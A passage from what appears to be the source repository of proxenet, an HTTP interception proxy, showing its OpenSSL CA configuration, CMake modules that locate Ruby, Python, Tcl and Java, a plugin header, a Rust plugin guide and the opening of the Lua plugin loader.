113 | 114 | int main(int argc, char** argv, char** envp) 115 | { 116 | return 0; 117 | } 118 | ``` 119 | -------------------------------------------------------------------------------- /keys/openssl.cnf: -------------------------------------------------------------------------------- 1 | # 2 | # OpenSSL configuration file for proxenet used by Makefile 3 | # It contains default values to be used by OpenSSL to generate 4 | # the keys for the proxenet CA. 5 | # 6 | # You can use it manually, or through the Makefile with the command 7 | # $ make keys 8 | # from this directory 9 | # 10 | # @_hugsy_ 11 | # 12 | 13 | dir = . 14 | 15 | [ ca ] 16 | default_ca = CA_proxenet 17 | 18 | [ CA_proxenet ] 19 | serial = $dir/serial 20 | database = $dir/certindex.txt 21 | new_certs_dir = $dir/certs 22 | certificate = $dir/cacert.pem 23 | private_key = $dir/private/cakey.pem 24 | default_days = 3650 25 | default_md = sha1 26 | preserve = no 27 | email_in_dn = no 28 | nameopt = default_ca 29 | certopt = default_ca 30 | policy = policy_match 31 | 32 | [ policy_match ] 33 | countryName = match 34 | stateOrProvinceName = match 35 | organizationName = match 36 | organizationalUnitName = optional 37 | commonName = supplied 38 | emailAddress = optional 39 | 40 | [ req ] 41 | default_bits = 1024 42 | default_keyfile = proxenet.key 43 | default_md = sha1 44 | string_mask = nombstr 45 | distinguished_name = req_distinguished_name 46 | req_extensions = v3_req 47 | 48 | [ req_distinguished_name ] 49 | 0.organizationName = Organization Name (company) 50 | organizationalUnitName = Organizational Unit Name (department, division) 51 | emailAddress = Email Address 52 | emailAddress_max = 40 53 | localityName = Locality Name (city, district) 54 | stateOrProvinceName = State or Province Name (full name) 55 | countryName = Country Name (2 letter code) 56 | countryName_min = 2 57 | countryName_max = 2 58 | commonName = Common Name (hostname, IP, or your name) 59 | commonName_max = 64 60 | 61 | 0.organizationName_default = World Domination Corp. 62 | organizationalUnitName_default = BlackHats 63 | localityName_default = proxenet 64 | stateOrProvinceName_default = proxenet 65 | countryName_default = FR 66 | emailAddress_default = proxenet@worldomination.corp 67 | commonName_default = proxenet 68 | issuerAltName_default = Magic Cat 69 | subjectAltName_default = Magic Cat 70 | 71 | [ v3_ca ] 72 | basicConstraints = CA:TRUE 73 | subjectKeyIdentifier = hash 74 | authorityKeyIdentifier = keyid:always,issuer:always 75 | 76 | [ v3_req ] 77 | basicConstraints = CA:TRUE 78 | subjectKeyIdentifier = hash 79 | -------------------------------------------------------------------------------- /cmake/FindRuby.cmake: -------------------------------------------------------------------------------- 1 | # Ruby cmake package 2 | # 3 | # Returns 4 | # RUBY_FOUND 5 | # RUBY_INCLUDE_DIRS 6 | # RUBY_LIBRARIES 7 | # RUBY_VERSION_MAJOR RUBY_VERSION_MINOR 8 | # RUBY_VERSION 9 | 10 | if(RUBY_FOUND) 11 | set(RUBY_FIND_QUIETLY TRUE) 12 | endif() 13 | 14 | find_program(RUBY_EXECUTABLE 15 | NAMES ruby2.4 ruby24 ruby2.3 ruby23 ruby2.2 ruby22 ruby2.1 ruby21 ruby2.0 ruby2 ruby1.9.3 ruby193 ruby1.9.2 ruby192 ruby1.9.1 ruby191 ruby1.9 ruby19 ruby1.8 ruby18 ruby 16 | PATHS /usr/bin /usr/local/bin /usr/pkg/bin 17 | ) 18 | if(RUBY_EXECUTABLE) 19 | execute_process( 20 | COMMAND ${RUBY_EXECUTABLE} -r rbconfig -e "print RbConfig::CONFIG['MAJOR']" 21 | OUTPUT_VARIABLE RUBY_VERSION_MAJOR 22 | ) 23 | 24 | execute_process( 25 | COMMAND ${RUBY_EXECUTABLE} -r rbconfig -e "print RbConfig::CONFIG['MINOR']" 26 | OUTPUT_VARIABLE RUBY_VERSION_MINOR 27 | ) 28 | 29 | if(NOT( ${RUBY_VERSION_MAJOR} EQUAL 2 )) 30 | message("-- WARNING: Your system is running Ruby ${RUBY_VERSION_MAJOR}.${RUBY_VERSION_MINOR}. Ruby2.x is required for compiling ${PROGNAME}.") 31 | set(RUBY_OLD_VERSION TRUE) 32 | endif() 33 | 34 | execute_process( 35 | COMMAND ${RUBY_EXECUTABLE} -r rbconfig -e "print RbConfig::CONFIG['TEENY']" 36 | OUTPUT_VARIABLE RUBY_VERSION_TEENY 37 | ) 38 | set(RUBY_VERSION ${RUBY_VERSION_MAJOR}.${RUBY_VERSION_MINOR}.${RUBY_VERSION_TEENY}) 39 | 40 | execute_process( 41 | COMMAND ${RUBY_EXECUTABLE} -r rbconfig -e "print RbConfig::CONFIG['rubyhdrdir'] || RbConfig::CONFIG['archdir']" 42 | OUTPUT_VARIABLE RUBY_ARCH_DIR 43 | ) 44 | execute_process( 45 | COMMAND ${RUBY_EXECUTABLE} -r rbconfig -e "print RbConfig::CONFIG['arch']" 46 | OUTPUT_VARIABLE RUBY_ARCH 47 | ) 48 | execute_process( 49 | COMMAND ${RUBY_EXECUTABLE} -r rbconfig -e "print RbConfig::CONFIG['libdir']" 50 | OUTPUT_VARIABLE RUBY_POSSIBLE_LIB_PATH 51 | ) 52 | execute_process( 53 | COMMAND ${RUBY_EXECUTABLE} -r rbconfig -e "print RbConfig::CONFIG['rubylibdir']" 54 | OUTPUT_VARIABLE RUBY_LIB_PATH 55 | ) 56 | execute_process( 57 | COMMAND ${RUBY_EXECUTABLE} -r rbconfig -e "print RbConfig::CONFIG['archincludedir']" 58 | OUTPUT_VARIABLE RUBY_ARCH_INC_DIR 59 | ) 60 | execute_process( 61 | COMMAND ${RUBY_EXECUTABLE} -r rbconfig -e "print RbConfig::CONFIG['RUBY_SO_NAME']" 62 | OUTPUT_VARIABLE RUBY_SO_NAME 63 | ) 64 | 65 | find_path(RUBY_INCLUDE_DIRS 66 | NAMES ruby.h ruby/config.h 67 | PATHS ${RUBY_ARCH_DIR} 68 | ) 69 | set(RUBY_INCLUDE_ARCH "${RUBY_INCLUDE_DIRS}/${RUBY_ARCH}") 70 | find_library(RUBY_LIB 71 | NAMES ${RUBY_SO_NAME} 72 | PATHS ${RUBY_POSSIBLE_LIB_PATH} ${RUBY_RUBY_LIB_PATH} 73 | ) 74 | 75 | if(RUBY_LIB AND RUBY_INCLUDE_DIRS) 76 | set(RUBY_FOUND TRUE) 77 | set(RUBY_INCLUDE_DIRS "${RUBY_INCLUDE_DIRS};${RUBY_INCLUDE_ARCH};${RUBY_ARCH_INC_DIR}/ruby-${RUBY_VERSION}") 78 | set(RUBY_LIBRARIES ${RUBY_LIB}) 79 | endif() 80 | 81 | if(RUBY_OLD_VERSION) 82 | set(RUBY_FOUND FALSE) 83 | set(RUBY_NOT_FOUND TRUE) 84 | endif() 85 | 86 | mark_as_advanced( 87 | RUBY_INCLUDE_DIRS 88 | RUBY_LIBRARIES 89 | RUBY_LIB 90 | RUBY_VERSION_MAJOR RUBY_VERSION_MINOR 91 | RUBY_VERSION 92 | ) 93 | endif() 94 | -------------------------------------------------------------------------------- /cmake/FindPython.cmake: -------------------------------------------------------------------------------- 1 | # 2 | # PYTHON_EXECUTABLE = full path to the python binary 3 | # PYTHON_INCLUDE_PATH = path to where python.h can be found 4 | # PYTHON_LIBRARY = path to where libpython.so* can be found 5 | # PYTHON_LFLAGS = python compiler options for linking 6 | 7 | 8 | if(ENABLE_PYTHON3) 9 | find_program(PYTHON_EXECUTABLE 10 | NAMES python3.4 python3.3 python3.2 python3.1 python3.0 python3 python2.7 python2.6 python2.5 python 11 | PATHS /usr/bin /usr/local/bin /usr/pkg/bin 12 | ) 13 | else() 14 | find_program(PYTHON_EXECUTABLE 15 | NAMES python2.7 python2.6 python2.5 python 16 | PATHS /usr/bin /usr/local/bin /usr/pkg/bin 17 | ) 18 | endif() 19 | 20 | if(PYTHON_EXECUTABLE) 21 | execute_process( 22 | COMMAND ${PYTHON_EXECUTABLE} -c "import sys; from distutils.sysconfig import *; sys.stdout.write(get_config_var('INCLUDEPY'))" 23 | OUTPUT_VARIABLE PYTHON_INC_DIR 24 | ) 25 | 26 | execute_process( 27 | COMMAND ${PYTHON_EXECUTABLE} -c "import sys; from distutils.sysconfig import *; sys.stdout.write(get_config_var('LIBPL'))" 28 | OUTPUT_VARIABLE PYTHON_POSSIBLE_LIB_PATH 29 | ) 30 | 31 | execute_process( 32 | COMMAND ${PYTHON_EXECUTABLE} -c "import sys; from distutils.sysconfig import *; sys.stdout.write(get_config_var('LINKFORSHARED'))" 33 | OUTPUT_VARIABLE PYTHON_LFLAGS 34 | ) 35 | 36 | find_path(PYTHON_INCLUDE_PATH 37 | NAMES Python.h 38 | HINTS ${PYTHON_INC_DIR} 39 | ) 40 | if(ENABLE_PYTHON3) 41 | find_library(PYTHON_LIBRARY 42 | NAMES python3.4 python3.3 python3.2 python3.1 python3.0 python3 python2.7 python2.6 python2.5 python 43 | HINTS ${PYTHON_POSSIBLE_LIB_PATH} 44 | ) 45 | else() 46 | find_library(PYTHON_LIBRARY 47 | NAMES python2.7 python2.6 python2.5 python 48 | HINTS ${PYTHON_POSSIBLE_LIB_PATH} 49 | ) 50 | endif() 51 | 52 | if(PYTHON_LIBRARY AND PYTHON_INCLUDE_PATH) 53 | execute_process( 54 | COMMAND ${PYTHON_EXECUTABLE} -c "import sys; sys.stdout.write(str(sys.version_info[0]))" 55 | OUTPUT_VARIABLE PYTHON_VERSION_MAJOR 56 | ) 57 | execute_process( 58 | COMMAND ${PYTHON_EXECUTABLE} -c "import sys; sys.stdout.write(str(sys.version_info[1]))" 59 | OUTPUT_VARIABLE PYTHON_VERSION_MINOR 60 | ) 61 | execute_process( 62 | COMMAND ${PYTHON_EXECUTABLE} -c "import sys; sys.stdout.write(str(sys.version_info[2]))" 63 | OUTPUT_VARIABLE PYTHON_VERSION_TEENY 64 | ) 65 | set(PYTHON_VERSION ${PYTHON_VERSION_MAJOR}.${PYTHON_VERSION_MINOR}.${PYTHON_VERSION_TEENY}) 66 | 67 | 68 | if( ${PYTHON_VERSION_MAJOR} EQUAL 3 ) 69 | set(PYTHON_FOUND TRUE) # if Python3.x 70 | 71 | elseif( ${PYTHON_VERSION_MAJOR} EQUAL 2) 72 | if( ${PYTHON_VERSION_MINOR} GREATER 5) 73 | set(PYTHON_FOUND TRUE) # if Python2.6+ 74 | else() 75 | set(PYTHON_FOUND FALSE) 76 | message("-- WARNING: Your system is running Python ${PYTHON_VERSION_MAJOR}.${PYTHON_VERSION_MINOR}. Python2.6+ is required for compiling ${PROGNAME}.") 77 | endif() 78 | else() 79 | message("-- WARNING: Your system is running an unknown Python version. Python2.6+ is required for compiling ${PROGNAME}.") 80 | set(PYTHON_FOUND FALSE) 81 | endif() 82 | 83 | endif() 84 | 85 | if(PYTHON_FOUND) 86 | mark_as_advanced( 87 | PYTHON_FOUND 88 | PYTHON_INCLUDE_PATH 89 | PYTHON_LIBRARY 90 | PYTHON_LFLAGS 91 | PYTHON_VERSION 92 | PYTHON_VERSION_MAJOR PYTHON_VERSION_MINOR 93 | ) 94 | endif() 95 | 96 | endif() 97 | -------------------------------------------------------------------------------- /cmake/FindTcl.cmake: -------------------------------------------------------------------------------- 1 | if(TCL_FOUND) 2 | set(TCL_FIND_QUIETLY TRUE) 3 | endif() 4 | 5 | include(CMakeFindFrameworks) 6 | include(FindTclsh) 7 | 8 | get_filename_component(TCL_TCLSH_PATH "${TCL_TCLSH}" PATH) 9 | get_filename_component(TCL_TCLSH_PATH_PARENT "${TCL_TCLSH_PATH}" PATH) 10 | string(REGEX REPLACE 11 | "^.*tclsh([0-9]\\.*[0-9]).*$" "\\1" TCL_TCLSH_VERSION "${TCL_TCLSH}") 12 | 13 | get_filename_component(TCL_INCLUDE_PATH_PARENT "${TCL_INCLUDE_PATH}" PATH) 14 | 15 | get_filename_component(TCL_LIBRARY_PATH "${TCL_LIBRARY}" PATH) 16 | get_filename_component(TCL_LIBRARY_PATH_PARENT "${TCL_LIBRARY_PATH}" PATH) 17 | string(REGEX REPLACE 18 | "^.*tcl([0-9]\\.*[0-9]).*$" "\\1" TCL_VERSION "${TCL_LIBRARY}") 19 | 20 | set(TCL_POSSIBLE_LIB_PATHS 21 | "${TCL_INCLUDE_PATH_PARENT}/lib" 22 | "${TCL_INCLUDE_PATH_PARENT}/lib64" 23 | "${TCL_LIBRARY_PATH}" 24 | "${TCL_TCLSH_PATH_PARENT}/lib" 25 | "${TCL_TCLSH_PATH_PARENT}/lib64" 26 | /usr/lib 27 | /usr/lib64 28 | /usr/local/lib 29 | /usr/local/lib64 30 | ) 31 | 32 | if(WIN32) 33 | get_filename_component( 34 | ActiveTcl_CurrentVersion 35 | "[HKEY_LOCAL_MACHINE\\SOFTWARE\\ActiveState\\ActiveTcl;CurrentVersion]" 36 | NAME) 37 | set(TCLTK_POSSIBLE_LIB_PATHS ${TCLTK_POSSIBLE_LIB_PATHS} 38 | "[HKEY_LOCAL_MACHINE\\SOFTWARE\\ActiveState\\ActiveTcl\\${ActiveTcl_CurrentVersion}]/lib" 39 | "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Scriptics\\Tcl\\8.6;Root]/lib" 40 | "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Scriptics\\Tcl\\8.5;Root]/lib" 41 | "$ENV{ProgramFiles}/Tcl/Lib" 42 | "C:/Program Files/Tcl/lib" 43 | "C:/Tcl/lib" 44 | ) 45 | endif() 46 | 47 | find_library(TCL_LIBRARY 48 | NAMES 49 | tcl86 tcl8.6 50 | tcl85 tcl8.5 51 | tcl 52 | tcl${TCL_VERSION} tcl${TCL_TCLSH_VERSION} 53 | PATHS ${TCL_POSSIBLE_LIB_PATHS} 54 | ) 55 | 56 | cmake_find_frameworks(Tcl) 57 | 58 | set(TCL_FRAMEWORK_INCLUDES) 59 | if(Tcl_FRAMEWORKS) 60 | if(NOT TCL_INCLUDE_PATH) 61 | foreach(dir ${Tcl_FRAMEWORKS}) 62 | set(TCL_FRAMEWORK_INCLUDES ${TCL_FRAMEWORK_INCLUDES} ${dir}/Headers) 63 | endforeach(dir) 64 | endif() 65 | endif() 66 | 67 | set(TCL_POSSIBLE_INCLUDE_PATHS 68 | "${TCL_LIBRARY_PATH_PARENT}/include" 69 | "${TCL_INCLUDE_PATH}" 70 | ${TCL_FRAMEWORK_INCLUDES} 71 | "${TCL_TCLSH_PATH_PARENT}/include" 72 | /usr/include/tcl8.6 73 | /usr/include/tcl8.5 74 | /usr/include 75 | /usr/local/include 76 | /usr/include/tcl${TCL_VERSION} 77 | /usr/local/include/tcl${TCL_VERSION} 78 | /usr/local/include/tcl8.6 79 | /usr/local/include/tcl8.5 80 | ) 81 | 82 | if(WIN32) 83 | set(TCLTK_POSSIBLE_INCLUDE_PATHS ${TCLTK_POSSIBLE_INCLUDE_PATHS} 84 | "[HKEY_LOCAL_MACHINE\\SOFTWARE\\ActiveState\\ActiveTcl\\${ActiveTcl_CurrentVersion}]/include" 85 | "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Scriptics\\Tcl\\8.6;Root]/include" 86 | "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Scriptics\\Tcl\\8.5;Root]/include" 87 | "$ENV{ProgramFiles}/Tcl/include" 88 | "C:/Program Files/Tcl/include" 89 | "C:/Tcl/include" 90 | ) 91 | endif() 92 | 93 | find_path(TCL_INCLUDE_PATH 94 | NAMES tcl.h 95 | PATHS ${TCL_POSSIBLE_INCLUDE_PATHS} 96 | ) 97 | 98 | if(TCL_LIBRARY AND TCL_INCLUDE_PATH) 99 | set(TCL_VERSION ${TCL_VERSION}) 100 | set(TCL_LIBARY ${TCL_LIBRARY}) 101 | set(TCL_INCLUDE_PATH ${TCL_INCLUDE_PATH}) 102 | set(TCL_FOUND TRUE) 103 | endif() 104 | 105 | execute_process( 106 | COMMAND /bin/bash -c "echo 'puts -nonewline $tcl_version;exit 0'|${TCL_TCLSH}" 107 | OUTPUT_VARIABLE TCL_VERSION 108 | ) 109 | 110 | mark_as_advanced( 111 | TCL_INCLUDE_PATH 112 | TCL_LIBRARY 113 | TCL_VERSION 114 | ) -------------------------------------------------------------------------------- /plugin.h: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | 3 | #ifndef _PLUGINS_H 4 | #define _PLUGINS_H 5 | 6 | #include 7 | 8 | #include "utils.h" 9 | #include "core.h" 10 | 11 | typedef enum __supported_plugins_t { 12 | #ifdef _C_PLUGIN 13 | _C_, 14 | #endif 15 | 16 | #ifdef _PYTHON_PLUGIN 17 | _PYTHON_, 18 | #endif 19 | 20 | #ifdef _RUBY_PLUGIN 21 | _RUBY_, 22 | #endif 23 | 24 | #ifdef _PERL_PLUGIN 25 | _PERL_, 26 | #endif 27 | 28 | #ifdef _LUA_PLUGIN 29 | _LUA_, 30 | #endif 31 | 32 | #ifdef _TCL_PLUGIN 33 | _TCL_, 34 | #endif 35 | 36 | #ifdef _JAVA_PLUGIN 37 | _JAVA_, 38 | #endif 39 | END_VALUE 40 | } supported_plugins_t; 41 | 42 | 43 | static const UNUSED char* supported_plugins_str[] = { 44 | #ifdef _C_PLUGIN 45 | "C", 46 | #endif 47 | 48 | #ifdef _PYTHON_PLUGIN 49 | _PYTHON_VERSION_, 50 | #endif 51 | 52 | #ifdef _RUBY_PLUGIN 53 | _RUBY_VERSION_, 54 | #endif 55 | 56 | #ifdef _PERL_PLUGIN 57 | _PERL_VERSION_, 58 | #endif 59 | 60 | #ifdef _LUA_PLUGIN 61 | _LUA_VERSION_, 62 | #endif 63 | 64 | #ifdef _TCL_PLUGIN 65 | _TCL_VERSION_, 66 | #endif 67 | 68 | #ifdef _JAVA_PLUGIN 69 | _JAVA_VERSION_, 70 | #endif 71 | 72 | NULL 73 | }; 74 | 75 | 76 | static const UNUSED char* plugins_extensions_str[] = { 77 | #ifdef _C_PLUGIN 78 | ".so", 79 | #endif 80 | 81 | #ifdef _PYTHON_PLUGIN 82 | ".py", 83 | #endif 84 | 85 | #ifdef _RUBY_PLUGIN 86 | ".rb", 87 | #endif 88 | 89 | #ifdef _PERL_PLUGIN 90 | ".pl", 91 | #endif 92 | 93 | #ifdef _LUA_PLUGIN 94 | ".lua", 95 | #endif 96 | 97 | #ifdef _TCL_PLUGIN 98 | ".tcl", 99 | #endif 100 | 101 | #ifdef _JAVA_PLUGIN 102 | ".class", 103 | #endif 104 | 105 | NULL 106 | }; 107 | 108 | #define MAX_VMS 10 109 | 110 | 111 | typedef struct _interpreter_type { 112 | unsigned short id; 113 | supported_plugins_t type; 114 | pthread_mutex_t mutex; 115 | void *vm; 116 | bool ready; 117 | } interpreter_t; 118 | 119 | interpreter_t vms[MAX_VMS]; 120 | 121 | 122 | typedef struct _plugin_type { 123 | unsigned short id; 124 | char fullpath[PATH_MAX]; // full absolute path (ex. /path/to/MyPlugin.py) 125 | char filename[PATH_MAX]; // full file name (ex. MyPlugin.py) 126 | char name[PATH_MAX]; // name as seen by VM (ex. MyPlugin) 127 | 128 | supported_plugins_t type; 129 | unsigned short priority; 130 | struct _plugin_type* next; 131 | proxenet_state state; 132 | 133 | interpreter_t *interpreter; // points to the type of interpreter 134 | void *onload_function; 135 | void *onleave_function; 136 | void *pre_function; 137 | void *post_function; 138 | void *internal; // internal is a free field that can freely used by plugin 139 | } plugin_t; 140 | 141 | #include "http.h" 142 | 143 | unsigned int proxenet_plugin_list_size(); 144 | bool proxenet_is_plugin_loaded(char*); 145 | int proxenet_get_plugin_type(char*); 146 | unsigned int count_plugins_by_type(supported_plugins_t); 147 | unsigned int count_initialized_plugins_by_type(supported_plugins_t); 148 | int proxenet_add_new_plugins(char*, char*); 149 | void proxenet_free_plugin(plugin_t*); 150 | void proxenet_free_all_plugins(); 151 | void proxenet_print_plugins_list(); 152 | plugin_t* proxenet_get_plugin_by_id(unsigned short); 153 | int proxenet_get_plugin_type(char*); 154 | int proxenet_plugin_set_state_by_id(unsigned short, proxenet_state); 155 | int proxenet_plugin_set_state(plugin_t*, proxenet_state); 156 | int proxenet_plugin_set_prority(unsigned short, unsigned short); 157 | 158 | #endif /* _PLUGINS_H */ 159 | -------------------------------------------------------------------------------- /docs/plugins/rust.md: -------------------------------------------------------------------------------- 1 | # Rust plugin 2 | 3 | Recent experiments have shown that it is possible to bind any language that 4 | compile to native code to `proxenet`, as long as it exports some specific 5 | symbols. This relies on one of most powerful advantages of `proxenet`, that is 6 | being 100% written in `C`. 7 | 8 | This page will detail how to write `proxenet` plugins in the [`Rust`](http://rust-lang.org/). 9 | `Rust` will use its compiler (`rustc`) to generate native code that respects its 10 | paradigms (multi-threadable, memory and type safe). Since `rust` allows to 11 | generate shared objects, and explicitly exposing some exported symbols, binding 12 | it on `proxenet` did not require any change to the `C` interface. The challenge 13 | consisted in exporting the structure from the `C` level (and potentially unsafe) 14 | to `rust` structure. 15 | 16 | As a result, you can now use the following skeleton for writing your `rust` 17 | plugin for `proxenet`. 18 | 19 | Enjoy! 20 | 21 | 22 | ## Plugin skeleton 23 | 24 | 25 | ```rust 26 | // 27 | // Dummy Rust plugin for proxenet 28 | // by @_hugsy_ 29 | // 30 | // Compile with: 31 | // $ rustc -o MyPlugin.so Myplugin.rs 32 | // 33 | 34 | #![crate_type = "dylib"] 35 | 36 | use std::mem; 37 | 38 | 39 | // 40 | // proxenet request hook for Rust 41 | // This function is type and memory safe. 42 | // 43 | fn rust_request_hook(request_id: u32, request: Vec, uri: String) -> Vec 44 | { 45 | // Play your funky Rust here white boy! 46 | return request; 47 | } 48 | 49 | 50 | // 51 | // proxenet response hook for Rust 52 | // This function is type and memory safe. 53 | // 54 | fn rust_response_hook(response_id: u32, response: Vec, uri: String) -> Vec 55 | { 56 | return response; 57 | } 58 | 59 | 60 | // 61 | // Poor man strlen() compat function for Rust 62 | // 63 | fn rust_strlen(src: *const u8) -> usize 64 | { 65 | let mut i = 0; 66 | let mut do_loop = true; 67 | 68 | while do_loop { 69 | let c = unsafe { *src.offset(i) as char }; 70 | if c == '\x00' { do_loop = false; } 71 | else { i += 1; } 72 | } 73 | 74 | return i as usize; 75 | } 76 | 77 | 78 | // 79 | // This function is used to transform and dispatch C compatible data type (unsafe) to 80 | // Rust valid types, dispatch to the right function ({request,response}_hook). 81 | // 82 | fn generic_hook(rid: u32, buf: *mut u8, uri: *mut u8, buflen: *mut usize, is_request: bool) -> *mut u8 83 | { 84 | unsafe { 85 | let rust_buf = Vec::from_raw_parts(buf, *buflen, *buflen); 86 | let rust_urilen = rust_strlen( uri ); 87 | let rust_uri = String::from_raw_parts(uri, rust_urilen, rust_urilen); 88 | let ret; 89 | 90 | if is_request { 91 | ret = rust_request_hook (rid, rust_buf, rust_uri); 92 | } else { 93 | ret = rust_response_hook(rid, rust_buf, rust_uri); 94 | } 95 | 96 | *buflen = ret.len(); 97 | return mem::transmute(&ret); 98 | } 99 | } 100 | 101 | 102 | #[no_mangle] 103 | pub extern fn proxenet_request_hook(request_id: u32, request: *mut u8, uri: *mut u8, request_len: *mut usize) -> *mut u8 104 | { 105 | return generic_hook(request_id, request, uri, request_len, true); 106 | } 107 | 108 | 109 | #[no_mangle] 110 | pub extern fn proxenet_response_hook(response_id: u32, response: *mut u8, uri: *mut u8, response_len: *mut usize) -> *mut u8 111 | { 112 | return generic_hook(response_id, response, uri, response_len, false); 113 | } 114 | 115 | ``` 116 | 117 | > 118 | > _Note_: not being a professional `rust` developper, maybe my approach is sub 119 | > optimal. If so, shoot me an email with your improvement :) 120 | > 121 | 122 | The `C` plugin interface of `proxenet` must be used to load `rust` compiled 123 | plugins. So all the plugins **must** be compiled first, and the shared library 124 | **must** be suffixed with `.so`. 125 | 126 | ```bash 127 | $ rustc -o MyPlugin.so MyPlugin.rs 128 | ``` 129 | 130 | Move your compiled plugin to `proxenet` plugin directory, and fire it up. 131 | -------------------------------------------------------------------------------- /cmake/FindJava.cmake: -------------------------------------------------------------------------------- 1 | # Java cmake package 2 | # 3 | # Returns 4 | # Java_FOUND 5 | # Java_LIBRARIES 6 | # Java_INCLUDE_DIRS 7 | # Java_VERSION_STRING 8 | # 9 | 10 | SET(_JAVA_HINTS $ENV{JAVA_HOME}/bin) 11 | 12 | SET(_JAVA_PATHS 13 | /usr/lib/java/bin 14 | /usr/share/java/bin 15 | /usr/local/java/bin 16 | /usr/local/java/share/bin 17 | /usr/java/j2sdk1.4.2_04 18 | /usr/lib/j2sdk1.4-sun/bin 19 | /usr/java/j2sdk1.4.2_09/bin 20 | /usr/lib/j2sdk1.5-sun/bin 21 | /opt/sun-jdk-1.5.0.04/bin 22 | ) 23 | 24 | FIND_PROGRAM(Java_JAVA_EXECUTABLE 25 | NAMES java 26 | HINTS ${_JAVA_HINTS} 27 | PATHS ${_JAVA_PATHS} 28 | ) 29 | 30 | IF(Java_JAVA_EXECUTABLE) 31 | EXECUTE_PROCESS(COMMAND ${Java_JAVA_EXECUTABLE} -version 32 | RESULT_VARIABLE res 33 | OUTPUT_VARIABLE var 34 | ERROR_VARIABLE var 35 | OUTPUT_STRIP_TRAILING_WHITESPACE 36 | ERROR_STRIP_TRAILING_WHITESPACE) 37 | 38 | IF( res ) 39 | IF(${Java_FIND_REQUIRED}) 40 | MESSAGE( FATAL_ERROR "Error executing java -version" ) 41 | ELSE() 42 | MESSAGE( STATUS "Warning, could not run java --version") 43 | ENDIF() 44 | 45 | ELSE( res ) 46 | IF(var MATCHES "java version \"[0-9]+\\.[0-9]+\\.[0-9_.]+[oem-]*\".*") 47 | STRING( REGEX REPLACE ".* version \"([0-9]+\\.[0-9]+\\.[0-9_.]+)[oem-]*\".*" 48 | "\\1" Java_VERSION_STRING "${var}" ) 49 | ELSEIF(var MATCHES "java full version \"kaffe-[0-9]+\\.[0-9]+\\.[0-9_]+\".*") 50 | STRING( REGEX REPLACE "java full version \"kaffe-([0-9]+\\.[0-9]+\\.[0-9_]+).*" 51 | "\\1" Java_VERSION_STRING "${var}" ) 52 | ELSE() 53 | IF(NOT Java_FIND_QUIETLY) 54 | message(WARNING "regex not supported: ${var}. Please report") 55 | ENDIF(NOT Java_FIND_QUIETLY) 56 | ENDIF() 57 | STRING( REGEX REPLACE "([0-9]+).*" "\\1" Java_VERSION_MAJOR "${Java_VERSION_STRING}" ) 58 | STRING( REGEX REPLACE "[0-9]+\\.([0-9]+).*" "\\1" Java_VERSION_MINOR "${Java_VERSION_STRING}" ) 59 | STRING( REGEX REPLACE "[0-9]+\\.[0-9]+\\.([0-9]+).*" "\\1" Java_VERSION_PATCH "${Java_VERSION_STRING}" ) 60 | STRING( REGEX REPLACE "[0-9]+\\.[0-9]+\\.[0-9]+\\_?\\.?([0-9]*)$" "\\1" Java_VERSION_TWEAK "${Java_VERSION_STRING}" ) 61 | if( Java_VERSION_TWEAK STREQUAL "" ) 62 | set(Java_VERSION ${Java_VERSION_MAJOR}.${Java_VERSION_MINOR}.${Java_VERSION_PATCH}) 63 | else( ) 64 | set(Java_VERSION ${Java_VERSION_MAJOR}.${Java_VERSION_MINOR}.${Java_VERSION_PATCH}.${Java_VERSION_TWEAK}) 65 | endif( ) 66 | 67 | IF(NOT Java_FIND_QUIETLY) 68 | MESSAGE( STATUS "Java version ${Java_VERSION} found!" ) 69 | ENDIF(NOT Java_FIND_QUIETLY) 70 | 71 | ENDIF( res ) 72 | ENDIF(Java_JAVA_EXECUTABLE) 73 | 74 | 75 | if( Java_VERSION_MINOR LESS 6 ) 76 | message("-- WARNING: Your system is running Java ${Java_VERSION_MAJOR}.${Java_VERSION_MINOR}. Java JDK 1.6+ is required for compiling ${PROGNAME}.") 77 | set(Java_OLD_VERSION TRUE) 78 | else() 79 | set(Java_OLD_VERSION FALSE) 80 | endif() 81 | 82 | if(!$ENV{JAVA_HOME}) 83 | message("Cannot find JAVA_HOME. Please setup the path to the base of the Java JDK to JAVA_HOME before compiling.") 84 | endif() 85 | 86 | message("-- Found JAVA_HOME as $ENV{JAVA_HOME}") 87 | set(JAVA_ROOT "$ENV{JAVA_HOME}") 88 | set(_JAVA_POSSIBLE_INCLUDE_DIRS ${JAVA_ROOT}/include) 89 | set(_JAVA_POSSIBLE_LIBRARIES_PATH ${JAVA_ROOT}/jre/lib/) 90 | 91 | find_path(Java_INCLUDE_DIRS 92 | NAMES jni.h 93 | PATHS ${_JAVA_POSSIBLE_INCLUDE_DIRS} 94 | ) 95 | if(Java_INCLUDE_DIRS) 96 | set(Java_INCLUDE_DIRS ${Java_INCLUDE_DIRS} ${Java_INCLUDE_DIRS}/linux) 97 | endif() 98 | 99 | find_library(Java_LIBRARIES 100 | NAMES jvm 101 | PATHS ${_JAVA_POSSIBLE_LIBRARIES_PATH}/amd64/server 102 | ) 103 | 104 | include(FindPackageHandleStandardArgs) 105 | 106 | if (NOT Java_OLD_VERSION AND Java_INCLUDE_DIRS AND Java_LIBRARIES) 107 | set(Java_FOUND TRUE) 108 | mark_as_advanced( 109 | Java_FOUND 110 | Java_LIBRARIES 111 | Java_INCLUDE_DIRS 112 | Java_VERSION_STRING 113 | Java_VERSION_MAJOR 114 | Java_VERSION_MINOR 115 | ) 116 | else() 117 | set(Java_FOUND FALSE) 118 | set(Java_NOT_FOUND TRUE) 119 | endif() 120 | -------------------------------------------------------------------------------- /plugin-lua.c: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #ifdef _LUA_PLUGIN 6 | 7 | /******************************************************************************* 8 | * 9 | * Lua plugin 10 | * 11 | */ 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "core.h" 19 | #include "utils.h" 20 | #include "main.h" 21 | #include "plugin.h" 22 | 23 | #define xlog_lua(t, ...) xlog(t, "["_LUA_VERSION_"] " __VA_ARGS__) 24 | 25 | 26 | /** 27 | * 28 | */ 29 | int proxenet_lua_load_file(plugin_t* plugin) 30 | { 31 | char* pathname; 32 | lua_State* lua_interpreter; 33 | 34 | if(plugin->state != INACTIVE){ 35 | #ifdef DEBUG 36 | if(cfg->verbose > 2) 37 | 